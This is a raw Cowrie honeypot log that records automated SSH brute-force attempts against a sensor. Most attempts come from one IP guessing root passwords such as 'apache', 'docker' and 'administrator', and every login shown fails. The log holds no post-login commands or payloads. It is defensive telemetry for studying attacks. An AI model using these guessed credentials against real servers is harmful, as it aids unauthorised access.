{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":44954,"dst_ip":"159.203.135.109","dst_port":22,"session":"60981106fc5c","protocol":"ssh","message":"New connection: 36.133.184.250:44954 (159.203.135.109:22) [session: 60981106fc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:56.052998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:56.058787Z","src_ip":"36.133.184.250","session":"60981106fc5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:56.306499Z","src_ip":"36.133.184.250","session":"60981106fc5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:57.049742Z","src_ip":"36.133.184.250","session":"60981106fc5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:58.301013Z","src_ip":"36.133.184.250","session":"60981106fc5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":50032,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b676e3dfa08","protocol":"ssh","message":"New connection: 36.133.184.250:50032 (159.203.135.109:22) [session: 8b676e3dfa08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:58.530712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:58.535105Z","src_ip":"36.133.184.250","session":"8b676e3dfa08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:58.768335Z","src_ip":"36.133.184.250","session":"8b676e3dfa08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:37:59.473313Z","src_ip":"36.133.184.250","session":"8b676e3dfa08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:00.710914Z","src_ip":"36.133.184.250","session":"8b676e3dfa08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":54834,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3d6e5af49ac","protocol":"ssh","message":"New connection: 36.133.184.250:54834 (159.203.135.109:22) [session: f3d6e5af49ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:00.942801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:00.946936Z","src_ip":"36.133.184.250","session":"f3d6e5af49ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:01.181644Z","src_ip":"36.133.184.250","session":"f3d6e5af49ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:01.893829Z","src_ip":"36.133.184.250","session":"f3d6e5af49ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:03.132824Z","src_ip":"36.133.184.250","session":"f3d6e5af49ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":59186,"dst_ip":"159.203.135.109","dst_port":22,"session":"af88854fe258","protocol":"ssh","message":"New connection: 36.133.184.250:59186 (159.203.135.109:22) [session: af88854fe258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:03.367354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:03.372202Z","src_ip":"36.133.184.250","session":"af88854fe258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:03.610622Z","src_ip":"36.133.184.250","session":"af88854fe258","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:04.326059Z","src_ip":"36.133.184.250","session":"af88854fe258","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:05.573825Z","src_ip":"36.133.184.250","session":"af88854fe258","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":35858,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4debc56d5ba","protocol":"ssh","message":"New connection: 36.133.184.250:35858 (159.203.135.109:22) [session: f4debc56d5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:05.817023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:05.822030Z","src_ip":"36.133.184.250","session":"f4debc56d5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:06.069536Z","src_ip":"36.133.184.250","session":"f4debc56d5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:06.810119Z","src_ip":"36.133.184.250","session":"f4debc56d5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:08.059963Z","src_ip":"36.133.184.250","session":"f4debc56d5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":40644,"dst_ip":"159.203.135.109","dst_port":22,"session":"67b8ce35e1ac","protocol":"ssh","message":"New connection: 36.133.184.250:40644 (159.203.135.109:22) [session: 67b8ce35e1ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:08.291668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:08.296430Z","src_ip":"36.133.184.250","session":"67b8ce35e1ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:08.532563Z","src_ip":"36.133.184.250","session":"67b8ce35e1ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:09.241621Z","src_ip":"36.133.184.250","session":"67b8ce35e1ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:10.489956Z","src_ip":"36.133.184.250","session":"67b8ce35e1ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":45732,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f43ac248e09","protocol":"ssh","message":"New connection: 36.133.184.250:45732 (159.203.135.109:22) [session: 3f43ac248e09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:10.729867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:10.735386Z","src_ip":"36.133.184.250","session":"3f43ac248e09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:10.979650Z","src_ip":"36.133.184.250","session":"3f43ac248e09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:11.711896Z","src_ip":"36.133.184.250","session":"3f43ac248e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.119.184","src_port":46362,"dst_ip":"10.17.0.5","dst_port":22,"session":"cba8590faf99","protocol":"ssh","message":"New connection: 101.36.119.184:46362 (10.17.0.5:22) [session: cba8590faf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:11.766197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:11.781160Z","src_ip":"101.36.119.184","session":"cba8590faf99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:11.989087Z","src_ip":"101.36.119.184","session":"cba8590faf99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"pass1234","message":"login attempt [user1/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:12.824204Z","src_ip":"101.36.119.184","session":"cba8590faf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:12.957255Z","src_ip":"36.133.184.250","session":"3f43ac248e09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":50362,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6d078b224aa","protocol":"ssh","message":"New connection: 36.133.184.250:50362 (159.203.135.109:22) [session: b6d078b224aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:13.190009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:13.194974Z","src_ip":"36.133.184.250","session":"b6d078b224aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:13.431841Z","src_ip":"36.133.184.250","session":"b6d078b224aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:14.038723Z","src_ip":"101.36.119.184","session":"cba8590faf99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:14.140460Z","src_ip":"36.133.184.250","session":"b6d078b224aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.119.202.27","src_port":49518,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4dbb5c2fcee","protocol":"telnet","message":"New connection: 111.119.202.27:49518 (159.203.135.109:23) [session: c4dbb5c2fcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:14.969696Z"}
{"eventid":"cowrie.session.closed","duration":0.004583597183227539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:14.974148Z","src_ip":"111.119.202.27","session":"c4dbb5c2fcee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:15.379305Z","src_ip":"36.133.184.250","session":"b6d078b224aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.133.184.250","src_port":55170,"dst_ip":"159.203.135.109","dst_port":22,"session":"4650a31d6344","protocol":"ssh","message":"New connection: 36.133.184.250:55170 (159.203.135.109:22) [session: 4650a31d6344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:38:15.611292Z"}
